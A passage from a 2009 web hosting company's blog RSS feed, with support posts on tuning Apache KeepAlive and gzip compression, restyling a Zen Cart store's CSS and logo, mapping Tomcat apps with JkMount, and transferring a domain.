		<description><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
Even to most Internet professionals, the Apache web server software can be as perplexing as it is ubiquitous. Although not as comprehensive as the official 685-page documentation, this post outlines two useful features you can enable in the httpd.conf file to improve the performance of your web server: persistent connections and gzip compression. Important note: [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
<p><img src="http://www.westhost.com/images/nventurella_poloroid.jpg" style="float: right; margin: -15px 0 0 7px;"/></p>
<p>Even to most Internet professionals, the Apache web server software can be as perplexing as it is <a href="http://news.netcraft.com/archives/web_server_survey.html" target="_blank">ubiquitous</a>. Although not as comprehensive as the <a href="http://httpd.apache.org/docs/2.0/" target="_blank">official 685-page documentation</a>, this post outlines two useful features you can enable in the httpd.conf file to improve the performance of your web server:  persistent connections and gzip compression.</p>
<p>Important note: An error in your Apache configuration can take all of your web sites offline. Please make a backup copy of the <strong>/etc/httpd/conf/httpd.conf</strong> file before you begin making modifications. Also remember that it is necessary to restart your account to apply either of the changes described below.</p>
<p><span id="more-322"></span></p>
<p style="font-size: 14px;"><strong>Persistent Connections (Keep-Alive)</strong></p>
<p>In addition to your web page itself, web browsers must also download each stylesheet, script, image, and other file referenced by your page. Historically, this meant that browsers would connect to a server, download the page, and disconnect. The browser would then initiate a new connection, download the first referenced file, and disconnect, repeating the process to fetch each additional file. As web pages became increasingly complex, they began using more files and the slow connect/download/disconnect method became noticeably time-consuming. This problem was solved with the introduction of persistent connections, as described below in the Apache documentation:</p>
<p style="margin: 0 25px; padding: 0 7px; border-left: solid 1px black;"><em>The Keep-Alive extension to HTTP/1.0 and the persistent connection feature of HTTP/1.1 provide long-lived HTTP sessions which allow multiple requests to be sent over the same TCP connection. In some cases this has been shown to result in an almost 50% speedup in latency times for HTML documents with many images.</em></p>
<p>Under the default settings, persistent connections are enabled on your account, but the <span style="font-family: courier;">KeepAliveTimeout</span> is set to 15 seconds (near line 86 of /etc/httpd/conf/httpd.conf). This means that Apache connections will stay active for 15 seconds after visitors have downloaded (and possibly even left) the web page. Apache connections use server resources and your account has a limited number of Apache connections, so this is generally undesirable.</p>
<ul>
<li><strong>For the best performance on most websites, leave</strong> <span style="font-family: courier;">KeepAlive On</span> <strong>but reduce the</strong> <span style="font-family: courier;">KeepAliveTimeout</span> <strong>to 1 or 2 seconds</strong>. This allows visitors to benefit from faster downloads through persistent connections, but helps prevent Apache from overloading the server and keeping too many connections open at once.</li>
<li><strong>In rare cases, on websites with extremely heavy traffic, turn</strong> <span style="font-family: courier;">KeepAlive Off</span>. Persistent connections guarantee faster page loads for your visitors but come at the cost of increased resource utilization by requiring more Apache connections to remain open concurrently on the server. If you are frequently reaching the maximum number of allowed Apache connections, it is probably necessary to upgrade your hosting package, but turning off persistent connections is one final step you can take to squeeze a little bit more out of your current plan.</li>
</ul>
<p style="font-size: 14px;"><strong>Gzip Compression (mod_deflate)</strong></p>
<p>HTML, CSS, and many other programming languages used on the web are highly redundant, allowing them to be compressed effectively. <span style="font-family: courier;">mod_deflate</span>, Apache’s compression engine, is installed but not enabled by default. To enable automatic gzip compression, add the following lines of code to the end of your httpd.conf file:</p>
<p><code><br />
SetInputFilter DEFLATE<br />
AddOutputFilterByType DEFLATE text/html<br />
AddOutputFilterByType DEFLATE text/css<br />
AddOutputFilterByType DEFLATE text/xml<br />
AddOutputFilterByType DEFLATE text/plain<br />
AddOutputFilterByType DEFLATE text/rtf<br />
AddOutputFilterByType DEFLATE text/javascript<br />
AddOutputFilterByType DEFLATE application/x-javascript<br />
AddOutputFilterByType DEFLATE application/xml<br />
AddOutputFilterByType DEFLATE application/xhtml+xml<br />
AddOutputFilterByType DEFLATE application/rss+xml<br />
AddOutputFilterByType DEFLATE application/atom+xml<br />
AddOutputFilterByType DEFLATE application/rdf+xml<br />
AddOutputFilterByType DEFLATE application/postscript<br />
AddOutputFilterByType DEFLATE application/msword<br />
AddOutputFilterByType DEFLATE application/vnd.ms-excel<br />
AddOutputFilterByType DEFLATE application/vnd.ms-powerpoint<br />
AddOutputFilterByType DEFLATE image/svg+xml<br />
AddType image/svg+xml .svg<br />
</code></p>
<p style="clear: both;">After you have edited the httpd.conf file and restarted your account, <a href="http://www.whatsmyip.org/http_compression/" target="_blank">test whether compression is working properly</a>.</p>
<p>Persistent connections significantly improve loading multimedia-rich sites with large numbers of images and other files, while gzip compression reduces HTML, CSS, JavaScript, and other text by an average of 80 percent, but these two changes are just the beginning! Read <a href="http://developer.yahoo.com/performance/rules.html" target="_blank">Yahoo’s list of Best Practices for Speeding Up Your Web Site</a> for even more ways to make your pages load faster.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.westhost.com/blog/2009/06/09/improving-apache-web-server-performance/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Customizing Zen Cart, Part 2</title>
		<link>http://www.westhost.com/blog/2009/05/19/customizing-zen-cart-part-2/</link>
		<comments>http://www.westhost.com/blog/2009/05/19/customizing-zen-cart-part-2/#comments</comments>
		<pubDate>Tue, 19 May 2009 17:01:29 +0000</pubDate>
		<dc:creator>Kevin Griffiths</dc:creator>
				<category><![CDATA[Technical Support]]></category>
		<category><![CDATA[Web site Development]]></category>
		<category><![CDATA[customizing]]></category>
		<category><![CDATA[e-commerce store]]></category>
		<category><![CDATA[zen cart]]></category>

		<guid isPermaLink="false">http://www.westhost.com/blog/?p=293</guid>
		<description><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
In part one of customizing Zen Cart (found here) we covered changing the color scheme of your store to better fit your needs. In part two we will be discussing changing some of the main images that Zen Cart uses in the design. Changing Images The first image you might want to get rid of [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
<p><img src="http://www.westhost.com/blog/wp-content/uploads/2009/05/zen-cart-logo1.png" alt="Zen Cart Logo" title="" width="146" height="40" align="right" style="margin-left: 10px;" />In part one of customizing Zen Cart (found <a href="http://www.westhost.com/blog/2009/05/customizing-zen-cart-part-1/" title="Customizing Zen Cart Part 1">here</a>) we covered changing the color scheme of your store to better fit your needs. In part two we will be discussing changing some of the main images that Zen Cart uses in the design.<br />
<span id="more-293"></span></p>
<h2>Changing Images</h2>
<p>The first image you might want to get rid of is the main banner image and replace it with your own. The main banner is actually made up of two parts. The first part is the clouds image. This is referenced again in the CSS file that you have already edited. The CSS file looks like this:<br />
<code><br />
#logoWrapper{<br />
       background-image: url(../images/header_bg.jpg);<br />
        background-repeat: repeat-x;<br />
        background-color: #ffffff;<br />
        height:75px;<br />
        }<br />
</code><br />
To remove the clouds image, you simply removed the reference to the image:<br />
<code><br />
#logoWrapper{<br />
        background-repeat: repeat-x;<br />
        background-color: #ffffff;<br />
        height:75px;<br />
        }<br />
</code><br />
By default Zen Cart uses logo.gif for the name of this image, but you can use you own filename for the logo. Using an image editor, create your new logo and upload it to your server.</p>
<p>After creating your logo you can adjust the height, width and logo name in includes/languages/english/header.php. Also, you will have to change includes/languages/english/classic/header.php.<br />
<code><br />
define('HEADER_ALT_TEXT', 'Powered by Zen Cart :: The Art of E-Commerce');<br />
define('HEADER_LOGO_WIDTH', '192px');<br />
define('HEADER_LOGO_HEIGHT', '64px');<br />
define('HEADER_LOGO_IMAGE', 'logo.gif');<br />
</code><br />
Make the needed changes reflecting the name of your site, and the width, height and filename of your logo that you created. To get rid of that pesky “Sales Message Goes Here” text, you need to modify the header.php file in the path /var/www/var/zencart/includes/languages/english/classic/ .<br />
The rest of the images on the site are banners and those banners can be turned on, off, or deleted. You can do this through the admin panel for your cart. After your images have been modified, your cart should look something like this:</p>
<p> <img src="http://www.westhost.com/blog/wp-content/uploads/2009/05/zencart021.gif" alt="Customize Zen Cart" title="" width="288" height="260" style="margin: 0pt auto; display: block;" /></p>
<p>Congratulations, you are well on you way to creating a shopping cart that will fit your site’s personality.</p>
<p>—————————–</p>
<p>Would you like to perform the above (or more) on your site, but not comfortable with the code? WestHost can help, just fill out a request <a href="https://corp2.westhost.com/designquote" title="free estimate" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.westhost.com/blog/2009/05/19/customizing-zen-cart-part-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Customizing Zen Cart, Part 1</title>
		<link>http://www.westhost.com/blog/2009/05/14/customizing-zen-cart-part-1/</link>
		<comments>http://www.westhost.com/blog/2009/05/14/customizing-zen-cart-part-1/#comments</comments>
		<pubDate>Thu, 14 May 2009 20:29:05 +0000</pubDate>
		<dc:creator>Kevin Griffiths</dc:creator>
				<category><![CDATA[Technical Support]]></category>
		<category><![CDATA[Web site Development]]></category>
		<category><![CDATA[e-commerce]]></category>
		<category><![CDATA[zen cart]]></category>
		<category><![CDATA[zencart]]></category>

		<guid isPermaLink="false">http://www.westhost.com/blog/?p=283</guid>
		<description><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
One of our more recent Site Application additions has been Zen Cart. This e-commerce solution has many robust features and this article will give some detailed information, giving you the ability to modify the cart with your own look and feel. The first thing you might want to do to your new store is to [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
<p><img src="http://www.westhost.com/blog/wp-content/uploads/2009/05/zen-cart-logo.png" alt="Zen Cart" title="zen-cart-logo" width="146" height="40"align="right" style="margin-left: 10px;" />One of our more recent Site Application additions has been Zen Cart. This e-commerce solution has many robust features and this article will give some detailed information, giving you the ability to modify the cart with your own look and feel.<br />
<span id="more-283"></span><br />
The first thing you might want to do to your new store is to modify the CSS to provide the “feel” you are looking for. The templates are located in zencart/includes/templates/. One thing that is of special interest is that Zen Cart has two templates it starts by default. There is the classic template and there is the template_default template. Zen Cart will use the template_default template for most of its features, but any changes to the classic template will override the template_default template. The template_default will render the default CSS and basically is the configuration Zen Cart will have if there were no template installed.  For the purposes of this post, we’ll talk about making changes to the classic template as it is in place after the installation from Site Manager.  The classic template can be found in zencart/includes/templates/classic/css/.. You want to modify the file called stylesheet.css.</p>
<p>Common things I often asked are how colors, widths, heights, and images are changed. The first thing I will start with is the overall color scheme of your store. Your store will look like this when it is first loaded.</p>
<p><img src="http://www.westhost.com/blog/wp-content/uploads/2009/05/zencart01.gif" alt="Zen Cart Customization" title="zencart01" width="288" height="262" style="display: block; margin: 0 auto;" /></p>
<h2>Color Schemes</h2>
<p>Many ask how to change the green color scheme.  To do this, we have to modify the CSS file located in zencart/includes/templates/classic/css/ called stylesheet.css. The green headers are actually small gif images that are referenced in the CSS file. They can be deleted or changed. I have highlighted the specific text in my example below.</p>
<p><code>#navMainWrapper, #navSuppWrapper, #navCatTabsWrapper {<br />
        margin: 0em;<br />
        background-color: #abbbd3;<br />
        background-image: url(../images/tile_back.gif);<br />
        padding: 0.5em 0.2em;<br />
        font-weight: bold;<br />
        color: #ffffff;<br />
        height: 1%;<br />
        }<br />
</code><br />
In my example below you can see that the reference to the image has been removed and I have changed the background color to blue.<br />
<code><br />
#navMainWrapper, #navSuppWrapper, #navCatTabsWrapper {<br />
        margin: 0em;<br />
        background-color: #000CFF;<br />
        padding: 0.5em 0.2em;<br />
        font-weight: bold;<br />
        color: #ffffff;<br />
        height: 1%;<br />
        }<br />
</code><br />
The image is referenced in four other tags throughout the CSS file.  To completely change this look, you will need to remove or possibly change the reference.  The tags that need to be changed are listed below. Simply look for the exact tags in the file and remove the image reference.<br />
<code><br />
#navMainWrapper, #navSuppWrapper, #navCatTabsWrapper {<br />
#navEZPagesTop {<br />
.leftBoxHeading, .centerBoxHeading, .rightBoxHeading {<br />
.productListing-rowheading {<br />
</code><br />
It would probably be a good time to save your changes and take a look at the impact you have had on Zen Cart.  Save your work and take a look at your cart in your browser.  For those of you falling asleep at this point, you may need to hit refresh in your browser.  Now, you may notice some throwbacks to the green theme at the bottom of each element in the browser. You can change this heavy green line by modifying the CSS file on the lines outlined below.<br />
<code><br />
.leftBoxContainer, .rightBoxContainer {<br />
        margin: 0em;<br />
        border: 1px solid #9a9a9a;<br />
        border-bottom: 5px solid #336633;<br />
        margin-top: 1.5em;<br />
        }<br />
</code><br />
If you want to make the width the same as the rest of the lines and change the color of the borders to match your header, you would set to it something like this:<br />
<code><br />
.leftBoxContainer, .rightBoxContainer {<br />
        margin: 0em;<br />
        border: 1px solid #000CFF;<br />
        margin-top: 1.5em;<br />
        }<br />
</code><br />
Now the store should look something like this:<br />
<img src="http://www.westhost.com/blog/wp-content/uploads/2009/05/zencart02-284x300.gif" alt="Customizing Zen Cart" title="zencart02" width="284" height="300" style="display: block; margin: 0 auto;" /></p>
<p>Read Customizing Zen Cart Part 2 by <a href="http://www.westhost.com/blog/2009/05/customizing-zen-cart-part-2/">clicking here</a>.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Would you like to perform the above (or more) on your site, but not comfortable with the code? WestHost can help, just fill out a request <a href="https://corp2.westhost.com/designquote" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.westhost.com/blog/2009/05/14/customizing-zen-cart-part-1/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Apache Tomcat 101</title>
		<link>http://www.westhost.com/blog/2009/04/23/apache-tomcat-101/</link>
		<comments>http://www.westhost.com/blog/2009/04/23/apache-tomcat-101/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 18:29:17 +0000</pubDate>
		<dc:creator>Dustin Olson</dc:creator>
				<category><![CDATA[Technical Support]]></category>
		<category><![CDATA[Web site Development]]></category>

		<guid isPermaLink="false">http://www.westhost.com/blog/?p=260</guid>
		<description><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
To all Tomcat users out there, I’m sure many of you have had questions on how to get things up and running; questions like ‘Is Apache Tomcat the same thing as Tomcat?’, and ‘How do I get the :8080 to go away?’ What is Apache Tomcat? Apache Tomcat and Tomcat are the same thing. Apache, [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
<p><img src="http://www.westhost.com/images/tomcat_logo.jpg" alt="Apache Tomcat" title="Apache Tomcat" style="float:left; margin-right:20px;"/></p>
<p>To all Tomcat users out there, I’m sure many of you have had questions on how to get things up and running; questions like ‘Is Apache Tomcat the same thing as Tomcat?’, and ‘How do I get the :8080 to go away?’</p>
<p><strong>What is Apache Tomcat? </strong></p>
<p>Apache Tomcat and Tomcat are the same thing. Apache, in this case, is simply the parent project and does not refer to the Apache web server. Apache Tomcat acts as a <a href="http://en.wikipedia.org/wiki/Servlet_container#Servlet_containers" target="_blank">servlet container</a> that processes Java servlets/JSP pages. There are some specifications that can be made within the Apache web server to let Apache know whether or not to handle the request or pass it on to Tomcat for processing. These specifications are located in the mod_jk.conf (sometimes just jk.conf) file in the /etc/httpd/conf.d directory. </p>
<p><span id="more-260"></span></p>
<p><strong>Great! So how do I get Apache Tomcat to find my JSP pages?</strong> </p>
<p><img src="http://www.westhost.com/images/dolson_blog.jpg" alt="Dustin Olson" title="Dustin Olson" style="float:right; margin-left:15px; margin-top:-8px;"/></p>
<p>While a number of specifications can take place in the mod_jk.conf file, the most relevant is the JkMount directive. This is the option that tells Apache whether or not to pass the request on to Tomcat. If you create a new folder in the /var/tomcat5/webapps directory for your Java related content, which is where is should be, Apache will not know about it by default. If the folder is called ‘test’, for example, then you would be able to access the folder by going to http://yourdomain.com:8080/test/ but it would not work by going to just http://domain.com/test/ which is, of course, what most of you will want. To get this functionality, a JkMount directive would have to be used inside the jk.conf file. It would look as follows:</p>
<p>JkMount /test/* ajp13w</p>
<p>Once this change is made and Apache is restarted (notice, Tomcat does NOT need restarting in this case because it was an Apache directive in an Apache configuration file that was altered) then http://yourdomain.com/test/ will come up fine and will be handled by Tomcat, as desired. If you are familiar with SSH, you can use the ‘apachectl graceful’ command to restart Apache. Otherwise you can go in through your Site Manager under the Restart Account section and restart that way. </p>
<p><strong>What if I want my Java web application to show up at http://yourdomain.com instead of http://yourdomain.com/folder/?</strong> </p>
<p>In this scenario, you will create a folder called ROOT (all upper case) inside the /var/tomcat5/webapps directory and put all of your java content in there. You will then setup the JkMount directive as follows and then restart Apache as mentioned above:</p>
<p>JkMount /* ajp13w </p>
<p>Now your Java web application is all up and running. That’s all it takes!</p>
<p><strong>A few more tidbits for those who want to understand what all that means:</strong></p>
<p>The ‘ajp13w’ entry above refers to a user specified in the /etc/httpd/conf/workers.properties file and stands for Apache JServ Protocol. To find out more on this protocol and its functions, see <a href="http://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html" target="_blank">http://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html</a>. That should give you a good understanding of what role a Tomcat worker plays and how and why Tomcat processes are spawned and resources are used. A Tomcat worker is a Tomcat instance that is waiting to execute servlets or any other content on behalf of some web server. For example, we can have a web server such as Apache forwarding servlet requests to a Tomcat process (the worker) running behind it. In WestHost&#8217;s case, ajp13 and ajp12 are the only workers setup, ajp13 being the default worker, and the preferred worker due to it being configured to use sockets as it’s communication channel (see above link for further detail.) When the JkMount directive is used, it is assigned to the ajp13 worker as the entry specifies.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.westhost.com/blog/2009/04/23/apache-tomcat-101/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Transferring a domain</title>
		<link>http://www.westhost.com/blog/2009/03/19/transfering-a-domain/</link>
		<comments>http://www.westhost.com/blog/2009/03/19/transfering-a-domain/#comments</comments>
		<pubDate>Thu, 19 Mar 2009 20:58:06 +0000</pubDate>
		<dc:creator>Lance Weeks</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Technical Support]]></category>
		<category><![CDATA[WestHost]]></category>
		<category><![CDATA[Domain]]></category>
		<category><![CDATA[Registration]]></category>
		<category><![CDATA[Transfer Domain]]></category>

		<guid isPermaLink="false">http://www.westhost.com/blog/?p=189</guid>
		<description><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
Web hosting clients often find themselves transferring an existing domain as well as signing up for a new hosting account. In order to simplify the process, here are 3 easy steps to use as a guideline: How to transfer a domain to WestHost: EPP authorization code: Obtain the EPP code for your domain from your [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
<p><img src="http://www.westhost.com/images/lweeks.jpg" alt="Lance Weeks"  style="height:125px; margin:0px; padding:0px 20px; float: right;"  />Web hosting clients often find themselves transferring an existing domain as well as signing up for a new hosting account. In order to simplify the process, here are 3 easy steps to use as a guideline:</p>
<p><span id="more-189"></span></p>
<h2>How to transfer a domain to WestHost:</h2>
<ol>
<li><strong>EPP authorization code:</strong><br />
Obtain the EPP code for your domain from your current registrar. Then either enter the code in the “note” section of the <a href="https://corp2.westhost.com/order/" target="_blank" title="Order Hosting">order form</a>, or e-mail the EPP code to <a href="mailto:domainreg@westhost.com">domainreg@westhost.com</a>. You should also double check that your e-mail address under the WHOIS information is valid. Also, you will need to contact your current registrar within 24 hours of the transfer to remove the lock from your domain.</li>
<li><strong>Fill out the <a href="https://corp2.westhost.com/order/" target="_blank" title="Hosting Order Form">transfer order form</a>:</strong>
<ul>
<li><strong>Step 1:</strong> Choose “Transfer Your Existing Domain” and select the duration length</li>
<li><strong>Step 2:</strong> Choose a hosting plan, or skip if you already have a hosting plan with WestHost</li>
<li><strong>Step 3:</strong> Fill out the rest of the form</li>
</ul>
</li>
<li><strong>Change DNS records:</strong><br />
Once we have completed the transfer process you will receive an e-mail from us with   your login information. This e-mail will contain important information regarding your DNS records. We recommend changing your DNS prior to the transfer, or right after it is completed; so that your domain is pointing to our servers.</li>
</ol>
<h2>NOTE:</h2>
<p>In order to ensure a successful domain transfer from your current registrar, make sure your domain:</p>
<ol>
<li>Has not expired, or will not be expiring within 14 days (If it’s past the due date, you’ll have to renew with the current registrar)</li>
<li>Has not been renewed within the last 45 days</li>
<li>Has not been registered within the last 60 days</li>
<li>Is not involved in any legal or payment disputes</li>
</ol>
<p>Finally, after everything is submitted, the actual transfer could take 7-14 days to complete. Your site will not experience any downtime during this process.  However, your site will experience downtime when changing the DNS records and the change could take up to 24 hours to propagate.</p>
<p>You can also visit our <a href="http://www.westhost.com/domainreg/" target="_blank" title="Domain Registration">Domain Registration</a> page in order to find out more details.</p>
<h2>Glossary:</h2>
<p><strong>EPP Code:</strong> An Authorization Code (EPP Code) provides security for the domain name registration. Each domain name has its own code and is assigned by the registrar at the time the domain name is registered. </p>
<p><strong>DNS:</strong> Domain Name Servers are used for translating domain names to IP addresses. They also include the domain name&#8217;s name server and mail server information.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.westhost.com/blog/2009/03/19/transfering-a-domain/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

